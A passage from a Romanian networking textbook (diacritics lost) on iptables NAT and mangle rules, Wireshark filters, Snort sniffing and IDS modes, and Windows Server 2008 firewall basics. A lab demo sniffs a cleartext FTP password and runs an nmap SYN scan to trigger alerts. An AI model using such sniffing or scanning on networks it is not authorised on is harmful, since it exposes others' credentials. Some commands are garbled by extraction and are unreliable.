specificat de utilizator). Redirectarea este n general folosit pentru a implementa un proxy
transparent, caz n care pe routerul M portul R ascult un proxy configurat pentru proxy
transparent.
6.2.2.1 Translatarea de adrese folosind iptables
Pentru translatarea de adrese se folosete tabela nat. n aceast tabel exist trei lanuri
predefinite: PREROUTING - modific pachetul imediat ce acesta intr n router, nainte de a fi
rutat, OUTPUT - modific pachetele generate local nainte ca acestea s intre n procesul de
220 | R e e l e L o c a l e

rutare, i POSTROUTING - modific pachetele ce urmeaz s plece din router, dup ce acestea
au fost rutate. intele valide sunt ACCEPT, DROP, QUEUE, REJECT, LOG, SNAT, DNAT, MASQUARADE,
REDIRECT.
SNAT se folosete pentru a indica o translatare de adrese de tip PAT pe adresa surs.
Adresa surs a pachetului va fi modificat la una din intervalul specificat prin opiunea --to-
source. Cu aceeai opiune se poate specifica i intervalul n care se va alege portul surs cnd
se face translatarea de adrese. Aceast int este valid numai n lanul POSTROUTING (i
lanurile chemate din acest lan).
DNAT se folosete pentru o translatare de adrese de tip PAT pe adresa destinaie. Adresa
destinaie a pachetului va fi modificat la una din intervalul specificat prin opiunea --to-
destination. Aceast int este valid numai n lanurile PREROUTING i OUTPUT (i lanurile
chemate din acest lan).
MASQUERADE este echivalent cu SNAT. Adresa surs va fi nlocuit cu adresa setat a
interfeei pe care va fi trimis pachetul. Trebuie folosit n loc de SNAT dac adresa la care se
face translatarea este setat dinamic (prin DHCP de exemplu).
REDIRECT se folosete pentru a redirecta pachetul, local, pe portul specificat de opiunea
--to-port. Aceast int este valid numai n lanurile PREROUTING i OUTPUT.
Pentru a evidenia mai bine lucrurile menionate mai sus pot fi analizate urmtoarele dou
reguli:
iptables -t nat -A POSTROUTING -o eth1 s 192.168.0.0/24 -j SNAT --to-source 1.2.3.4
iptables -t nat -A PREROUTING i eth0 -d 14.15.16.17 -j DNAT --to-destination 192.168.100.1
Prima regul poate fi interpretat n felul urmtor: toate pachetele ce vin cu adresa IP
surs din reeaua 192.168.0.0/24 vor fi trimise pe interfaa eth1 cu adresa IP surs 1.2.3.4,
dup ce acestea vor fi rutate. Cea de-a doua regul va schimba adresa IP destinaie
(14.15.16.17) a pachetelor ce intr pe interfaa eth0 cu adresa IP 192.168.100.1, nainte ca
acestea s fie rutate.
n exemplul de mai jos s-a prezentat configurarea iptables pentru translatarea de adrese
pe maina 141.85.37.1 din reeaua 192.168.1.0/24. Aceast main este doar router, iar
serverul de web, serverul de mail i serverul de DNS ruleaz pe servere diferite, n reeaua
intern. Routerul are conectat interfaa eth0 la reeaua intern i interfaa eth1 la Internet.
iptables -t nat -A POSTROUTING -o eth1 -s 192.168.1.0/24 -j SNAT --to-source 141.85.37.1

iptables -t nat -A PREROUTING -i eth1 -p tcp --destination-port 80 -j DNAT --to-
destination 192.168.1.2
iptables -t nat -A PREROUTING -i eth1 -p tcp --destination-port 25 -j DNAT --to-
destination 192.168.1.3
iptables -t nat -A PREROUTING -i eth1 -p tcp --destination-port 53 -j DNAT --to-
destination 192.168.1.4
iptables -t nat -A PREROUTING -i eth1 -p udp --destination-port 53 -j DNAT --to-
destination 192.168.1.4
Prima linie din exemplu este folosit pentru ca staiile din reea s poat accesa Internetul.
La trecerea pachetelor prin router, adresa surs a staiilor (adres privat) va fi nlocuit cu
adresa routerului (adres public).
Urmtoarele linii vor trimite traficul de web, e-mail i DNS ctre serverele din interior. n
acest context, din exterior, aparent routerul este i server de web, e-mail i DNS.
6.2.3 Configurri avansate iptables
6.2.3.1 Port forwarding
Ce se ntmpl dac dorim ca serviciile din reeaua intern, ce sunt fcute publice, s fie
vzute din exterior ca rulnd pe porturi diferite fa de cele standard? Metoda ce poate fi
aplicat aici se numete port forwarding. Aceast metod permite unei staii (firewall) s
221 | S e c u r i t a t e i m o n i t o r i z a r e

trimit cererile ce i sunt adresate, altei staii ce va procesa aceste cereri. Cel mai folosit mod
de ntrebuinare al acestei metode este acela cnd serverele ruleaz pe staii aflate n reeaua
intern (dup firewall). Cu alte cuvinte, se presupune existena unui gateway cu dou
interfee, eth0 fiind conectat la reeaua intern i eth1 la Internet. Fie 141.85.37.1 adresa IP
public a interfeei eth1 i 192.168.0.2 adresa IP a staiei pe care ruleaz un serviciu web, pe
portul implicit 80, staie ce va putea fi accesat din exterior. n exemplul de mai jos se va face
redirectarea conexiunilor ce vin pe 141.85.37.1:8888 (<IP_extern:port>) ctre 192.168.0.2:80
(IP_intern:port).
iptables -t nat -A PREROUTING -i eth1 -p tcp d 141.85.37.1 dport 8888 j DNAT -to-
destination 192.168.0.2:80
6.2.3.2 Alterarea avansat a pachetelor
Tabela mangle este folosit pentru a modifica pachetele ntr-un mod mai special. NAT
modific doar adresele dintr-un pachet. Tabela mangle poate fi folosit pentru a schimba
informaii precum TTL, TOS, sau pentru a marca un pachet. Marcarea pachetelor este folosit
doar n interiorul routerului. Odat ce un pachet prsete routerul, informaiile adugate la
marcare vor fi ndeprtate. n prezent marcarea pachetelor este folosit de ctre sistemul de
Quality of Service (QoS).
Exist trei lanuri predefinite: INPUT - modific pachetele destinate routerului, FORWARD -
modific pachetele n curs de rutare, i POSTROUTING - modific pachetele dup rutare. intele
valide includ ACCEPT, DROP, QUEUE, REJECT, LOG precum i cele specifice tabelei, prezentate
mai jos.
MARK marcheaz pachetul cu valoarea specificat prin opiunea --set-mark. Pachetele
marcate se pot folosi ulterior n procesul de rutare sau QoS.
TOS seteaz cmpul de type of service la valoarea specificat prin opiunea --set-tos.
TTL seteaz cmpul TTL la valoarea specificat prin opiunea --ttl-set, decrementeaz
valoarea acestuia (dac se folosete opiunea --ttl-dec) sau incrementeaz valoarea
acestuia (dac se folosete opiunea --ttl-inc).
n exemplul de mai jos este prezentat un exemplu de alterare avansat a pachetelor, n
care dou staii din reeaua intern, 141.85.37.13 i 141.85.37.169 pot accesa doar reeaua
intern (reeaua departamentului) i reeaua imediat urmtoare (reeaua organizaiei).
iptables -t mangle -A FORWARD -s 141.85.37.13 -j TTL --ttl-set 2
iptables -t mangle -A FORWARD -s 141.85.37.169 -j TTL --ttl-set 2
6.3 Capturare pachetelor i analiza pachetelor. IDS/IPS.
Termenul de sniffing este unul din cele mai populare noiuni folosite n lumea
administrrii reelelor.
Sniffing este procesul prin care se captureaz i se analizeaz traficul ce traverseaz
segmentul local
Utilitarele folosite pentru captura de pachete au evoluat foarte mult de la nceputurile
Internetului pn astzi. Plecnd de la capturarea n linie de comand, s-au dezolvoltat
aplicaii complexe n GUI, care prezint coninutul pachetelor capturate ntr-o structura bine
gndit si uor de interpretat. Una din aceste aplicaii se numete Wireshark.
6.3.1 Wireshark configurri de baz
Wireshark este o aplicaie gratuit realizat n cadrului unui proiect open-source, a crui
rol principal este captura i analiza pachetelor din reea. Majoritatea administratorilor de
reea cunosc Wireshark sub numele de Ethereal, pentru c pn n anul 2006 acesta era de
222 | R e e l e L o c a l e

fapt numele atribuit utilitarului. Trebuie specificat c nu se urmrete niciun fel de exagerare
n afirmaia faptului c Wireshark este considerat mna dreapta a oricrui administrator. Cu
ajutorul su se poate face inspecia la nivelul antentelor unui pachet i mai mult la nivel de
stream TCP. Aplicaia se poate folosi att n scopuri administrative ct i n scopuri de
troubleshooting pentru reea. Popularitatea acestei aplicaii este motivat de:
Un GUI intuitiv i uor de utilizat
Modul facil de prezentare a informaiei
Existena unor filtre complexe pe baza crora se poate izola traficul interesant
6.3.1.1 Instalarea Wireshark
Instalarea Wireshark se face cu ajutorul utilitarului apt.
waters@myr:/etc/apt$ sudo apt-get install wireshark
Wireshark se poate porni din linie de comand,
waters@myr:/etc/apt$ sudo wireshark &
sau, din interfaa grafic GNOME, din Applications > Internet > Wireshark.
Atenie! Pentru a putea captura toate pachete, wireshark trebuie pornit ca root.
6.3.1.2 Pornirea unei capturi de pachete
Odat pornit, se poate porni captura de pachete pe una din interfeele active. Selecia
interfeei i afiarea opiunilor de captur se face selectnd Capture > Capture Options.

6-6: Pornirea capturii de pachete
223 | S e c u r i t a t e i m o n i t o r i z a r e

Fereastra de opiuni conine urmtoarele setri:
Selectarea interfeei: se poate alege interfaa pe care s se fac captura dintr-o list aflat n
partea de sus a ferestrei.
Opiunea de a seta interfaa n modul promiscuous: modul acesta impune acceptarea i
captura tuturor pachetelor, nu doar cele destinate staiei. Aceast opiune era folosit n trecut
cnd huburile nc erau utilizate n topologii de reea. n prezent aceast opiune este
redundant pentru reele cablate pentru c la nivelul doi ntr-o reea se va afla mereu un
switch care nu permite alt trafic pe un segment, n afar de traficul destinat unei staii aflate pe
acel segment. Totui, opiunea este extrem de util n cazul interfeelor wireless.
Capture filter: acesta este cmpul n care se poate introduce un filtru de captur. Implicit, cnd
se pornete o captur, se vor afia toate pachete ce ajung la interfaa de reea. Dac se
folosete un filtru de captur, se poate impune o restricie asupra pachetelor ce se doresc
capturate. Spre exemplu se pot captura doar pachetele cu un anumit IP surs, sau dup
protocolul de nivel 4 folosit.
Capture file: ofer posibilitatea de a salva captura ntr-un fiier pe disc. Acest fiier poate fi
ncrcat ulterior i utilizat pentru aplicarea unor filtre de afiare (display filters).
Pentru a porni o captur simpl, se apas butonul de start din fereastra de opiuni. Odat
pornit captura, fereastra principala a aplicaiei se va mpri n dou componente:
cadrul de listare a pachetelor capturate
cadrul de inspectare a pachetelor capturate
Pentru a inspecta un pachet se selecteaz pachetul din cadrul de listare i apoi se
navigheaz ntr-un arbore de antete n cadrul de inspectare.
6.3.1.3 Stream-uri TCP
Una din cele mai importante avantaje Wireshark, este c poate afia stream-uri TCP aa
cum sunt vzute de ctre aplicaii. n mod implicit Wireshark prezint un stream de informaii
pachet cu pachet, iar citirea unui ir de date poate fi destul de dificil, fiind nevoie s se
navigheze prin fiecare pachet. Gruparea n stream TCP reconstruiete un ir de date,
prezentnd informaia ntr-o structur grupat n ordinea numerelor de secven TCP. Pentru
a realiza aceasta grupare n stream, trebuie dat clic dreapta pe un pachet TCP i selectat
opiunea Follow TCP Stream.
6.3.1.4 Filtre
n afara cazului n care se dorete realizarea unei statistici precum cea descris mai sus,
foarte rar va interveni situaia n care se va dori capturarea ntregului trafic. Motivul pentru
acest lucru este cantitatea mare de trafic neinteresant. Mai ales pe wireless, doar protocolul n
sine creeaz cam zece pachete pe secund prin folosirea de: beacon-uri, ack-uri i broadcast-
uri. Pentru ca este ineficient parcurgerea unei liste de captur foarte mare pentru a cuta
pachetele dorite, Wireshark pune la dispoziie dou tipuri de filtre:
Filtrul de captur: se poate aplica din meniul de Capture Options i presupune o captur
selectiv bazat pe regulile filtrului
Filstrul de afiare: se aplic peste o captura deja efectuat. Este mai puternic dect filtrul de
captur i este folosit mpreuna cu expresii regulate avansate pentru a gsi un anumit tip de
pachete ntr-o captura salvat.
Aplicarea filtrelor de captur se face din meniul Capture Options. Se pot aplica mai multe
filtre predefinite unei capturi ce urmeaz s fie fcut. Filtrele de afiare se invoc
asemntor, asupra unei capturi deja realizate, din meniul Analyze > Display Filters.
224 | R e e l e L o c a l e

6.3.2 Wireshark configurri avansate
Wireshark include dou mini-limbaje diferite pentru crearea regulilor de filtrare. n cele ce
urmeaz se vor analiza operatorii i sintaxa limbajul folosit pentru filtrele de afiare.
6.3.2.1 Realizarea filtrelor de afiare
n esen, orice cmp ce apare n cadrul de inspectarea a pachetelor poate fi folosit pentru
a realiza o regul. Totalitatea cmpurilor ce pot fi folosite ntr-o regul pot fi vzute n meniul
Help > Supported Protocols > Tabul Display Filter Fields.
6.3.2.1.1 Operatori
1. Operatorii de comparaie pe care limbajul i ofer se pot folosi n una din cele dou forme
posibile: forma literal i forma matematic:

forma literal forma matematic
eq ==
ne !=
gt >
lt <
ge >=
le <=

2. Operatorii logici sunt: and, or, xor i not.

forma literal forma matematic
and &&
or ||
xor ^^
not !

3. Operatorul boolean este exprimat n mod implicit prin numele cmpului. De exemplu dac se
folosete ca filtru a operatorul TCP, se vor selecta doar acele pachete ce au ca protocol de
nivel patru TCP. Folosirea operatorului logic not n faa cmpului TCP, are ca rezultat
selectarea pachetelor ce nu folosesc TCP.
4. Adresele IP: sunt suportate protocoalele Ipv4 i IPv6. Este suportat i notaia CIDR:
192.168.1.0/24.
6.3.2.1.2 Cmpurile de filtrare
Regulile de filtrare au dou componente: operatorii i cmpurile. Acestea din urm sunt
specificate precum ntr-un limbaj orientat pe obiecte. Dac se dorete, spre exemplu, accesare
cmpului <IP surs> din headerul IP, formularea se va face astfel: ip.src. Sintaxa generala se
deduce, astfel, a fi:
protocol.camp_antent
n situaia n care exist un cmp inclus ntr-un alt cmp, acestea se pot nlnui n aceeai
maniera: telnet.auth_mod.name; acest cmp identific pachetele ce conin numele de
autentificare pentru protocolul telnet.


225 | S e c u r i t a t e i m o n i t o r i z a r e

6.3.2.1.3 Operatori pe string-uri
Wireshark pune la dispoziie i metode avansate de selecie n interiorul unui cmp.
Pentru a explica mai uor sintaxa, aceasta se va urmri pe exemple practice de mai jos:
eth.src[0:2] acesta expresie va selecta primii 2 octei din adresa MAC surs. Formatul
[x:y] va referii y octei din adresa MAC, ncepnd cu octetul x.
eth.src[3-4] expresia va selecta octeii 4 i 5 din adresa MAC surs. Formatul [x-y] va
referii octeii cu intexul 3 i 4 din adresa MAC
eth.src[1] - expresia va selecta octetul 2 din adresa MAC.
6.3.2.1.4 Aplicarea unui filtru de afiare
Regula de filtrare se introduce n cmpul poziionat deasupra cadrului de afiare a
pachetelor:

6-7: Aplicarea unui filtru de afiare
6.3.2.1.5 Exemple de reguli de filtrare
1. Selectarea tuturor pachetelor care au adresa IP din clasa 10.0.0.0/24 i portul UDP destinaie
53
ip.addr == 10.0.0.0/24 && udp.srcport == 53
2. Selectarea tuturor pachetelor cu adresa IP surs 10.0.0.5 care au bitul de TCP FIN setat.
ip.src == 10.0.0.5 and tcp.flags.fin
3. Selectarea tuturor pachetelor care nu au adresa IP 10.0.0.5, nici ca IP surs, nici ca IP destinaie
!(ip.addr == 10.0.0.5)

Atenie! Expresia ip.addr != 10.0.0.5 va evalua ntotdeauna true, pentru c va testa ca cel
puin unul din cmpurile IP s fie diferit de 10.0.0.5.
4. Selectarea tuturor pachetelor Ipv4 care au cmpul TTL mai mare sau egal cu 1 i care au primii
3 ovtei ai MAC-ul de la un vendor specific.
ip.version eq 4 and ip.ttl >=2 and eth.addr[0-2] == 00:1A:5E
Bineneles c regulile se pot complica, depinznd de scenariu, ns pn n acest punct s-
au descris elementele de baz a limbajului filtrelor de afiare.
6.3.2.1.6 Construirea expresiilor regulate n GUI
Wireshark ofer suport grafic pentru crearea regulilor cu majoritatea cmpurilor din
diferite protocole, indicnd chiar i valori posibile pentru unele dintre ele. Interfaa de
construire a filtrelor de display se acceseaz cu ajutorul butonului Expression
6.3.3 Snort captur de pachete n linie de comand. IDS/IPS.
Snort este un software open-source folosit pentru a filtra trafic i a detecta tipare de trafic
ce pot reprezenta o ameninare pentru o reea de calculatoare. Dei cunoscut ca unul din cele
mai populare IDS uri (Intrusion detection System), snort a fost la origini un sniffer de pachete,
nu foarte diferit de tcpdump. De fapt, att tcpdump ct i snort folosesc biblioteca open-
source libpcap, care permite analiza pachetelor pe un sistem Linux.
Aplicaia are trei moduri de funcionare:
226 | R e e l e L o c a l e

Modul simplu de captur de pachete n acest mod snort captureaz traficul definit ca trafic
interesant
Modul de captur de pachete cu jurnalizare snort poate s stocheze captura ntr-un fiier pe
disc n diferite formate: format syslog, text, binar.
Modul IDS/IPS n acest mod, snort permite definirea de reguli de identificare a unui tipar de
trafic i generare de alerte, invocarea de alte programe, etc.
6.3.3.1 Instalarea snort
Programul se instaleaz din apt:
root@myr:/home/rl# apt-get install snort
n timpul instalrii, aplicaia va configura ntr-un mod interactiv interfaa activ pe care
snort va asculta implicit i subnetul de reea din care va accepta pachete.
Dup ce a fost instalat, se poate verifica existena utilitarului n calea implicit, rulnd
comanda snort. Aplicat fr niciun parametru, comanda va afi toate opiunile snort
alturi de un mesaj explicativ.
root@myr:/home/rl# snort
[...]
Uh, you need to tell me to do something...
6.3.3.2 Modurile de funcionare snort
S-a menionat anterior faptul ca snort a fost la nceput doar un utilitar folosit pentru
captur de pachete n linie de comand. n timp el a evoluat spre a ndeplini mai multe sarcini,
ns fr a-i pierde funcionalitatea de baz: sniffer. Dar, revenind la teoria prezentat
anteror n care, folosirea unui switch ntr-o reea Ethernet asigur faptul c fiecare staie de
pe segment, va primi numai traficul destinat acesteia. Cum poate deci un administrator n
reelele din prezent, s foloseasc un sniffer? Cea mai folosit soluie n implementri este
tehnica de port mirroring. Aceasta presupune configurarea unui switch, pentru ca traficul care
traverseaz anumite porturi s fie copiat pe un port special configurat de administrator.

6-8: Port mirroring
Folosind port mirroring n configuraia de mai sus, se poate configura switchul astfel nct
traficul de pe porturile 2, 3 i 4 s fie copiat pe portul 1 pe care se afl serverul ce ruleaz
snort.
Se vor prezenta pe scurt n continuare cele trei moduri n care snort opereaz:

227 | S e c u r i t a t e i m o n i t o r i z a r e

6.3.3.2.1 Modul simplu de captur
snort se ruleaz dup cum s-a prezentat mai sus, n linie de comand. Sintaxa pe care
utilitarul o folosete este urmtoarea:
snort [options] expression
Expresia pe care snort o primete ca argument este folosit pentru a defini filtre n linia de
comand. Exist mai multe primitive i cuvinte cheie care se pot folosi, dar deoarece
abordarea prezentrii acestui utilitar va fi una bazat mai mult pe exemple i funcionalitate,
acestea nu vor fi enumerate aici. Pentru o lista complet a primitivelor i expresiilor se poate
consulta pagina man a aplicaiei.
Se va crea urmtorul scenariu:
Pe o staie din subnetul 192.168.1.0/24 se va rula snort n modul simplu de captur i n
acelai timp un server FTP (proftpd)
De pe o staie din alt subnet (192.168.0.0/24), se va iniia o conexiune FTP pe portul 21 ctre
serverul pe care snort ascult.
Scopul va fi capturarea user-ului i parolei FTP cu ajutorul snort, trimise n text clar pe reea
Mai nti se va porni snort folosind o expresie regulat ce va captura doar traficul cu IP
destinaie 192.168.1.2 (adic staia local) i cu portul destinaie 21 (FTP).
root@myr:/home/rl# snort -vde host 192.168.1.2 and port 21
Parametrii -v -d i -e aplic urmtoarele opiuni:
-v: printeaz captura la ieirea standard
-d: afiarea informaiei de la nivelul aplicaie
-e: afiarea header-ului de nivel 2 ntr-un log sau la ieirea standard
n timp ce snort ruleaz, se va porni i un server FTP pe aceeai staie:
root@myr:/home/rl# /etc/init.d/proftpd start
De pe staia cu IP-ul 192.168.0.254, se va face o conexiune ctre serverul FTP:
root@myr:/home/rl# ftp 192.168.1.2
Connected to 192.168.1.2.
220 ProFTPD 1.3.1 Server (Debian) [192.168.1.2]
Name (192.168.1.2:rl): rl
331 Password required for rl
Password:
230 User rl logged in
[...]
Dup cum se poate observa din rezultatul de mai jos, snort a capturat informaia din
pachet de la nivel 2 la nivel 7.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/07-18:05:34.732455 0:E0:20:20:14:48 -> 0:17:31:49:39:99 type:0x800 len:0x4B
192.168.0.254:50613 -> 192.168.1.2:21 TCP TTL:63 TOS:0x10 ID:7505 IpLen:20 DgmLen:61 DF
***AP*** Seq: 0x9751DAEE Ack: 0xB5B61579 Win: 0x5C TcpLen: 32
TCP Options (3) => NOP NOP TS: 26265674 26264608
55 53 45 52 20 72 6C 0D 0A USER rl..

[...]

09/07-18:05:34.733011 0:17:31:49:39:99 -> 0:E0:20:20:14:48 type:0x800 len:0x60
192.168.1.2:21 -> 192.168.0.254:50613 TCP TTL:64 TOS:0x0 ID:53593 IpLen:20 DgmLen:82 DF
***AP*** Seq: 0xB5B61579 Ack: 0x9751DAF7 Win: 0x5B TcpLen: 32
TCP Options (3) => NOP NOP TS: 26264774 26265674
33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Password req
75 69 72 65 64 20 66 6F 72 20 72 6C 0D 0A uired for rl..

[...]
09/07-18:05:35.957654 0:E0:20:20:14:48 -> 0:17:31:49:39:99 type:0x800 len:0x4B
192.168.0.254:50613 -> 192.168.1.2:21 TCP TTL:63 TOS:0x10 ID:7507 IpLen:20 DgmLen:61 DF
***AP*** Seq: 0x9751DAF7 Ack: 0xB5B61597 Win: 0x5C TcpLen: 32
TCP Options (3) => NOP NOP TS: 26265797 26264774
50 41 53 53 20 72 6C 0D 0A PASS rl..

228 | R e e l e L o c a l e

Problema folosirii afirii la ieirea standard este faptul ca snort poate captura mult mai
repede dect poate afia pe ecran. De aceea la un trafic susinut, snort va ncepe s sar
peste unele pachete pentru a putea afia informaia pe monitor. De aceea, de obicei, snort se
ruleaz cu opiunea -l, care permite salvarea capturii n jurnale.
6.3.3.2.2 Modul de captura de pachete cu jurnalizare
Pentru simplitate, se va folosi acelai scenariu ca i n subcapitolul anterior. La instalare,
snort i creeaz un director special folosit pentru jurnale i alerte: /var/log/snort. Exist
dou moduri diferite de jurnalizare:
Modul clear text: este mai ncet, ns se poate citi uor informaia din log-uri.
Modul binar: este cel mai rapid mod de jurnalizare, ns e nevoie de utilitare speciale pentru a
citi logurile. De asemenea formatul binar este compatibil cu tcpdump i ofer i avantajul
posibilitii aplicrii a mai multe reguli snort asupra capturii, pentru a analiza pachetele
pentru un posibil atac.

Modul de logare n format clear-text
n continuare se va rula din nou snort, nsa de acest dat, cu jurnalizare:
root@myr:/home/rl# snort -vde host 192.168.1.2 and port 21 -l /var/log/snort/ -K ascii
Opiunea K este folosit pentru a preciza tipul jurnalizrii.
Dup ce se parcurg aceeai pai ca mai sus: pornirea serverului FTP i log-area, se va
observa c n directorul /var/log/snort s-a creat un director al crui nume, este IP-ul surs
al pachetelor de conexiune FTP: 192.168.0.254..
root@myr:/var/log/snort# ls
192.168.0.254
root@DMZ:/var/log/snort# file 192.168.0.254/
192.168.0.254/: setgid directory
Doar n cazul folosirii jurnalizrii n format ASCII se creeaz cte un director pentru fiecare
IP surs care deschide o conexiune. n acest director se afl un fiier clear-text, n care se afl
stocat captura.
root@myr:/var/log/snort# ls 192.168.0.254/
TCP:56443-21
root@myr:/var/log/snort# file 192.168.0.254/TCP\:56443-21
TCP:56443-21: ASCII text

Modul de logare n format binar
De aceast dat, parametrul opiunii -K este pcap, pentru jurnalizarea n format binar
compatibil cu tcpdump.
root@myr:/home/rl# snort -vde host 192.168.1.2 and port 21 -l /var/log/snort/ -K pcap
Acest tip de jurnalizare este mult mai rapid i spre deosebire de cel modul clear-text,
captura este pstrat ntr-un singur fiier:
root@myr:/var/log/snort# ls
snort.log.1220806500
root@myr:/var/log/snort# file snort.log.1220806500
snort.log.1220806500: tcpdump capture file (little-endian) - version 2.4 (Ethernet,
capture length 1514)
Snort ofer binenteles i un mod facil de a citi informaia dintr-o captur n format binar,
folosind opiunea r:
root@myr:/var/log/snort# snort -dev -r snort.log.1220806500
[...]
229 | S e c u r i t a t e i m o n i t o r i z a r e

Deasemenea, formatul pcap este folosit i de aplicaii cu interfaa GUI, precum Wireshark.
Deci captura poate fi ncrcat i vizualizat i n mod grafic.
6.3.3.3 Modul IDS/IPS
Dei modul de logare al utilitarului este foarte util, snort a devenit faimos pentru
capabilitile sale de IDS.
Un IDS este un sistem software sau hardware folosit pentru detectarea unei ncercri de
acces, manipulare, sau atac asupra unui sistem.
Aciunea de baz pe care orice IDS trebuie o ntreprinde la detectarea unui trafic ce ridic
suspiciuni, este provocarea unei alarme n sistem. n continuare se va analiza modul n care
poate fi folosit snort pentru a ndeplini aceast funcie.
nainte de a putea porni snort n modul IDS, trebuie modificat fiierul principal de
configurare: /etc/snort/snort.conf. Trebuie specificat care este reeaua pe care snort
trebuie sa o protejeze i care este reeaua de la care se pot atepta atacuri. Pentru acest lucru,
snort definete dou variabile: $HOME_NET i $EXTERNAL_NET. Aceste sunt implicit setate pe
any n fiierul de configurare. Doar $HOME_NET va trebui schimbat la adresa de reea a LAN-
ului.
root@myr:/home/rl# cat /etc/snort/snort.conf
var HOME_NET 192.168.1.0/24

# Set up the external network addresses as well. A good start may be "any"
var EXTERNAL_NET any
Din configuraia de mai sus, snort va considera ca reeaua ce trebuie protejat este
reeaua 192.168.1.0/24, iar orice alta reea (var EXTERNAL_NET any) este vzut ca o posibil
ameninare.
Pentru a putea demonstra modul n care snort acioneaz se va presupune urmtorul
scenariu:
De pe staia cu IP-ul 192.168.0.254 de pe care s-a iniiat conexiunea FTP n exemplul anterior,
se va porni acum o scanare nmap cu fingerprint-ing.
snort va detecta aceast ncercare de scanare i va crea un fiier de alarm n
/var/log/snort/ care se va putea interpreta cu utilitare speciale.
Mai nti se va reporni snort pentru a asigura reinterpretarea fiierului de configurare:
root@myr:/home/rl# /etc/init.d/snort restart
* Stopping Network Intrusion Detection System snort [ OK ]
* Starting Network Intrusion Detection System snort [ OK ]
Rularea se poate verifica prin listarea procesului n sistem:
root@myr:/var/log/snort# ps -ef | grep snort
snort 18215 1 8 21:27 ? 00:00:06 /usr/sbin/snort -m 027 -D -d -l
/var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[192.168.0.0/16] -i eth2
Acum c snort ruleaz, nu trebuie dect s pornim scanarea de porturi. Se va face o
scanare cu pachete TCP SYN i un fingerprint.
root@myr:/home/rl# nmap -sS -O 192.168.1.2
Dup ce scanarea s-a terminat se poate verifica /var/log/snort/.
root@myr:/var/log/snort# ls -l
total 44
drwx--S--- 2 root adm 4096 2008-09-07 19:46 192.168.0.254
-rw-r----- 1 snort adm 5875 2008-09-07 21:33 alert
-rw------- 1 root adm 15369 2008-09-07 21:33 snort.log.1220806500
-rw------- 1 root adm 12212 2008-09-07 21:33 snort.log.1220812428
-rw-r----- 1 snort adm 1871 2008-09-07 21:33 tcpdump.log.1220812063
230 | R e e l e L o c a l e

S-a generat un fiier de alert de aproximativ 6 KB. Pentru a putea interpreta acest fiier
se pot folosi destul de multe utilitare, att n linie de comand, ct i n mediu grafic. Unul din
cele mai cunscute este snortsnarf. Acest utilitar poate interpreta un fiier de alarm generat
de snort i l poate afia n format HTML cu link-uri utile ctre diferite site-uri ce pot spune
mai multe despre tipul de atac interceptat.
6.4 Securitate i monitorizare n Windows Server 2008
Protejarea reelei interne mpotriva atacurilor din exterior este o responsabilitate extrem
de important, mai ales cnd reeaua local trebuie conectat la o reea public, cu un acces
mult mai puin restricionat, ca Internetul. Windows Server 2008 implementeaz o serie de
strategii pentru asigurarea securitii de sistem, printre care Windows Firewall i IPSec
(protocolul IP Security).
6.4.1 Windows Firewall with Advanced Security
Un firewall este definit ca o component software sau hardware, interpus ntre sistem
(reea) i Internet (de cele mai multe ori) cu rolul de a proteja mpotriva acceselor
neautorizate din exterior, analiznd datele care circul n ambele sensuri i lund decizii de
filtrare (blocare) atunci cnd este cazul. Deciziile de filtrare a pachetelor se iau conform cu
regulile definite n firewall. Dac pachetele care sosesc din exterior nu se conformeaz niciunei
reguli din firewall, acestea sunt filtrate, n mod implicit. De asemenea, firewall-ul poate fi setat
s verifice i pachetele care prsesc sistemul sau reeaua proprie prin instituirea unor reguli
ce controleaz accesul anumitor aplicaii spre Internet.
Windows Firewall este unul de tip stateful, adic urmrete starea conexiunilor de reea
ale unui sistem, examinnd att traficul direcionat spre reea ct i cel spre exterior. Pentru
traficul dinspre exterior, comportamentul implicit al su este de a bloca orice pachet care
sosete nesolicitat, adic nu reprezint rspunsul la o cerere sau nu face parte din traficul unei
conexiuni iniiate de calculatorul propriu. Totui, cnd este necesar, pot fi configurate excepii
pentru a permite anumitor tipuri de trafic s fie recepionate de ctre anumite aplicaii, pe
anumite porturi.
Comportamentul implicit pentru traficul originar din sistemul propriu este unul permisiv,
nefiind filtrate niciun fel de cereri. Totui, pot fi implementate reguli care s limiteze accesul
anumitor aplicaii la Internet
6.4.1.1 Configurarea Windows Firewall
Pentru configurarea Windows Firewall pe un sistem Windows Server 2008 exist dou
moduri: primul dintre ele l reprezint fereastra de dialog Windows Firewall Settings,
disponibil i pentru Windows XP i accesibil direct din Control Panel; cea de-a doua este
interfaa de administrare pentru Windows Firewall with Advanced Security, accesibil de la
Administrative Tools sau din Server Manager.
Pentru a deschide fereastra de dialog Windows Firewall Settings, se poate alege opiunea
Allow a Program Through the Windows Firewall din Control Panel, sub categoria Security sau
direct accesnd Windows Firewall, tot din Control Panel, ca i n Windows XP (n funcie de
modul de vizualizare activ).
Setrile de baz ale lui Windows Firewall sunt separate n trei categorii:
General: n acest tab se gsesc cele mai simple opiuni, de pornire i oprire a firewall-ului. De
asemenea, exist i posibilitatea de blocare a tuturor conexiunilor iniiate din exterior (Block all
incoming connections) pentru a activa rapid protecia total n reele publice, nesecurizate.
Aceast opiune ignor toate excepiile active la acel moment.
231 | S e c u r i t a t e i m o n i t o r i z a r e



6-1: Aplicaiile permise prin Windows Firewall
Exceptions: Lista cuprinde aplicaiile detectate n sistem iar bifarea lor are ca efect activarea
permisiunii aplicaiilor de a deschide porturi. Pot fi adugate noi programe (executabile, de
fapt) la lista de excepii sau pot fi adugate separat i porturi.
Advanced: Aici pot fi selectate conexiunile de reea pe care Windows Firewall s le
monitorizeze. De asemenea, de aici pot fi restaurate setrile implicite legate de funcionarea
firewall-ului i de excepiile sale.

Dup cum se observ, fereastra de dialog descris mai sus nu ofer o multitudine de
opiuni legate de configurarea Windows Firewall i nu poate fi considerat efectiv o unealt
administrativ deoarece ofer un grad extrem de sczut de flexibilitate.
Dac se dorete modificarea unor setri mai avansate (reguli, n spe, care, la rndul lor,
formeaz politicile de securitate) trebuie utilizat interfaa Windows Firewall with Advanced
Security, accesibil din Server Manager sau de la Start > Administrative Tools. Aceasta
ofer opiunea de a gestiona regulile de intrare i ieire a pachetelor i de a crea reguli de
securitate pentru conexiuni care pot restriciona conectarea la un server pe baza unor
informaii de autentificare mai complexe, cum ar fi apartenena la un domeniu.
Interfaa este mprit n trei panouri:
